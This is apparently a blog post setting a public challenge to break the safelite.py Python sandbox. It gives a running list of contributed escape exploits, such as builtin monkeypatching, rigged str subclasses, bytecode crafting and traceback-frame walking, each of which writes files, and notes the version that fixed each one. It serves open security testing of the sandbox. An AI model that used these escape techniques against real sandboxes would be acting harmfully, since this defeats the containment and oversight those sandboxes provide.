Update: You can find out more in my new article: Paving the Way to Securing the Python Interpreter

The challenge is simple:

Open a fresh Python interpreter and do: >>> from safelite import FileReader



You can use FileReader to read files on your filesystem

Now find a way to write to the filesystem from your interpreter

You can find the latest version of safelite.py here:

I will keep safelite.py updated as new exploits and workarounds are found until we hopefully end up with a version we can be confident about. [VERSION attribute added on Steven D'Aprano's recommendation.]

If enough smart hackers look at this and it holds up, Guido promises to accept a patch which would enable this function-based approach to security on both App Engine and future Python versions.

So, please try the challenge and let me know how you find it in the comments. Thanks!

Note: The aim of this isn't to protect Python against crashes/segfaults or exhaustion of resources attacks, so those don't count.

Good luck and thanks! =)

Exploits Found & Fixed So Far:

Victor Stinner and Tim Wintle found the first exploit: >>> reload ( __builtins__ )

<module '__builtin__' (built-in)>



>>> open ( '0wn3d' , 'w' ) . write ( 'w00t

' )

[Fixed in v2]

Guido van Rossum and Mark Eichin came up with this devious: >>> class S ( str ):

... def __eq__ ( self , o ): return 'r' == o



>>> f = FileReader ( 'w00t' , S ( 'w' ))



>>> f . close () # creates an empty file called 'w00t'

[Fixed in v3]

clsn took it further and bypassed the fix in v4: >>> class S ( str ):

... def __eq__ ( self , o ): return 'r' == o

... def __str__ ( self ): return self

[Fixed in v5]

Mike Rooney started messing with the assumptions of builtins being unaltered: >>> __builtins__ . str = S

[Fixed in v5]

Farshid Lashkari then took it to a whole new elegant level: >>> _real_file = None



>>> def _new_isinstance ( obj , types ):

... global _real_file

... if _real_file is None and obj . __class__ . __name__ == 'file' :

... _real_file = obj . __class__

... return _old_isinstance ( obj , types )



>>> __builtins__ . isinstance = _new_isinstance

>>> FileReader ( 'nul' )



>>> f = _real_file ( 'foo.txt' , 'w' )

[Fixed in v5]

Guido van Rossum noted that FileReader's __metaclass__ was accessible: >>> f = FileReader ( '/etc/passwd' )

>>> kall = f . __class__ . __metaclass__ . __call__ . im_func



>>> kall ( f . __class__ . __metaclass__ , [( 'foo' , 47 )])

<type 'list'>



>>> f . __class__ . __metaclass__ . foo

47

[Locked-down in v6 before he could do any real damage ;p]

Paul Cannon did the unexpected with his super hardcore exploit: >>> __builtins__ . TypeError = type ( lambda : 0 )( type ( compile ( '1' , 'b' , 'eval' ))(

... 2 , 2 , 4 , 67 ,

... 'y \x08\x00 t \x00\x00\x01 Wn \x09\x00\x01\x01 a \x00\x00 n \x01\x00 X| \x01\x00 | \x00\x00\x83\x01\x00 S' ,

... ( None ,), ( 'stuff' ,), ( 'g' , 'x' ), 'q' , 'f' , 1 , '' ), globals (), None , ( TypeError ,)

... )



>>> try :

... FileReader ( 'foo' , 2 )

... except :

... pass



>>> stuff . tb_frame . f_back . f_locals [ 'open_file' ]( 'w00t' , 'w' ) . write ( 'yaymore

' )

[Fixed in v6 — but the principles can still be used. Paul Cannon explains in depth.]

Daniel Diniz emailed in with this devastating mugging: from safelite import FileReader



# Let's build a fake module

warnings = __builtins__ . __class__ ( 'warnings' )



# Fill it with deception

warnings . default_action = "ignore"



# And provide a supporting thug

def __import__ ( * args ):

print args

try :

print "How nice:

" , args [ 1 ] . keys ()

global sys

sys = args [ 1 ][ 'sys' ]

except Exception , v :

print "Exception:" , v

return warnings



# Put the bogus module at the doorstep...

__builtins__ . warnings = warnings



# and have the thug replacing the doorman

__builtins__ . __import__ = __import__



# An unsuspecting costumer passes by...

FileReader ( 'safelite.py' ) . seek ( 1.1 )



# ... and is brutally mugged :)

print sys

print dir ( sys )

[Fixed in v7]

Nick Coghlan got evil with context managers: >>> class EvilCM ( object ):

... def __enter__ ( self ):

... return self

... def __exit__ ( self , exc_type , exc , tb ):

... tb . tb_next . tb_frame . f_locals [ 'open_file' ]( 'w00t' , 'w' ) . write ( 'yay!

' )

... return True



>>> with EvilCM ():

... FileReader ( 10 , 12 )

[Fixed in v8]

Guido van Rossum emailed in with ways to trick trusted code to evaluate unsafe code in its own globals!! [See also his similar hack with eval in the comments below]. >>> f = FileReader ( '/etc/passwd' )

>>> f . __class__ . __int__ = input



>>> f . read ( f )

(fileobj.__class__('/tmp/w00t', 'w').write('w00t

'), 0)[1]

[Fixed in v9]

Found an exploit yet?? Try safelite.py and let me know!